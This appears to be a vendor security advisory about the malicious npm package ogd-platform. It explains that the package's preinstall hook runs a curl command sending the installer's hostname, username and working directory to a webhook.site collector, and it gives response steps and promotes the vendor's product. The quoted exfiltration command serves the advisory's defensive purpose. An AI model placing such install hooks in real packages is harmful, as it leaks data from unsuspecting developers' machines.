ogd-platformnpm
ogd-platform is a confirmed malicious npm package (MAL-2026-5828) that opens a backdoor for remote access (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in ogd-platform (npm)
What this malware does
The package contains only a package.json with a preinstall lifecycle script and ships no actual functionality despite advertising itself as an 'Open Government Data Platform core'. On npm install, the preinstall hook runs curl --data-urlencode "info=$(hostname && whoami && pwd)" against a webhook.site collector URL, sending the installer's hostname, username, and current working directory to an attacker-controlled endpoint. The empty tarball plus recon beacon is the canonical dependency-confusion / namespace-squat reconnaissance shape: an internal build expecting a private ogd-platform package would resolve to this public registry entry and leak host identifiers to the attacker on install.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ogd-platform (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ogd-platform across your stack and pipelines.
If you installed it — respond
ogd-platform establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If ogd-platform was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks ogd-platform before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks ogd-platform-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.